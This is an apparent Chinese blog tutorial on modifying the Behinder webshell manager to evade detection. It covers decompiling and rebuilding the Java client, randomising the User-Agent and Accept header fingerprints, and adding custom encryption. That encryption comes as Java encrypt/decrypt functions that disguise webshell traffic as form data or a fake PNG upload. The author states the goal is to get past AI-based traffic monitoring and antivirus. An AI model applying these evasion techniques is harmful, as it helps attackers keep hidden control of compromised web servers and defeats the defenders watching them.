“冰蝎”(Behinder)是一个动态二进制加密网站管理客户端,相比较于传统的老牌工具“菜刀”而言,对webshell的流量进行了相应的加密。”冰蝎”客户端基于JAVA,所以可以跨平台使用,随着版本的升级,兼容性也随之提升。主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大,是现如今必不可少的渗透测试工具之一

如今借助大模型,ai 对流量中木马特征的监测已经越来越准确,可冰蝎早已不再更新,木马上传上去之间就落地成盒,所以我们要对冰蝎马在原本的基础上进行改造

冰蝎特征

冰蝎有两个强特征,分别是

和数据包一大堆加密

如果这个数据包可以用冰蝎的传输协议解密,那就实锤为冰蝎马

除此之外还有数个弱特征例如 connection:keep-alive ,固定的 ua 头等

所以我们的魔改需要解决两个问题:

  • 绕过识别(魔改打乱指纹信息)
  • 绕过查杀(新增加密算法)

JAP 反编译打包构建

https://www.decompiler.com/

在这个网站在线反编译,然后下载下来(也可以用 jd-gui 工具反编译)

在 idea 中新建项目,选择 jdk8,然后将冰蝎的 jar 包导入模块中并设置主类为net.rebeyond.behinder.ui

并且要将原冰蝎中的数据库文件复制到项目根目录下,不然会报错

在修改时,只需将我们想要修改的文件在保留目录结构的情况下复制到 src 目录下再进行更改,注意不要复制整个目录过去,不然构建速度会很慢

【冰蝎特征去除】 https://www.bilibili.com/video/BV1B8p8z9EWu/?share_source=copy_web&vd_source=074bb30cb6ef186ca4cc14413973b1ae

具体操作可以看上面这个视频,要注意现在 idea 不能直接下载 openjdk 1.8,所以要先自己下载下来

防识别-打乱特征指纹

在 Constants.java 中有标题信息,我们可以对其进行修改

1
2
3
4
5
public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
public static String[] accepts = new String[]{"application/json, text/javascript, */*; q=0.01", "*/*1"};
public static String TIP_FOR_VERSION = "\u4fdd\u7559\u7248\u6743\u662f\u5bf9\u539f\u521b\u57fa\u672c\u7684\u5c0a\u91cd\uff1a\uff09";
public static String VERSION = " v4.1[ALe魔改版]";
public static String AUTHOR = "By ALe";

同时还有 Accept 的两个强特征:

1
2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

还有剩下的其他字段如:

  • accept 字段
  • user-agent 字段
  • Content-type 字段

都可以随便对其进行修改

防查杀-新增加密协议

参考加密方式:https://xz.aliyun.com/news/11899

冰蝎 4 内置的六种传输协议早已被记载,单纯的两种加密嵌套在如今也很容易被解密,但是好在我们可以自定义传输的加密方式,如果你有实力甚至可以自创一种加密方法用于加密

我们可以用冰蝎的传输协议进行测试,如果弹出“保存成功”就说明加密解密一致

因为我还没学密码,所以就随便偷几个加密方式来

key-value格式+unicode加密

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private byte[] Encrypt(byte[] data) throws Exception {
String content = "id=1&content=DaYer0&token=1452178369&status=00000";
String result =
java.util.Base64.getEncoder().encodeToString(data).replace("+", "<").replace("/",
">");
String str = "";
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < result.length(); i++) {
char c = result.charAt(i);
unicode.append("\\u00" + Integer.toHexString(c));
}
content = content.replace("DaYer0", unicode.toString());

// ROT13 encryption
StringBuilder encryptedContent = new StringBuilder();
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + 13) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + 13) % 26 + 'A');
}
encryptedContent.append(c);
}
return encryptedContent.toString().getBytes();
}

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private byte[] Decrypt(byte[] data) throws Exception {
String content = new String(data);
// Reverse ROT13 decryption
StringBuilder decryptedContent = new StringBuilder();
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + 13) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + 13) % 26 + 'A');
}
decryptedContent.append(c);
}

String decodedString = decryptedContent.toString();
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
bos.write(decodedString.getBytes(), 13, decodedString.length() - 43);
String unicode = new String(bos.toByteArray());
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6),
16));
}
}
byte[] decryptedData =
java.util.Base64.getDecoder().decode(sb.toString().replace("<", "+").replace(">",
"/"));
return decryptedData;
}

multipart格式+hex加密

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
upload=upload.replace("DaYer0",str);
return upload.getBytes();
}

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
String s= new String(bos.toByteArray());
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

过常规杀软问题不大,但是过不了人,百分百会被发现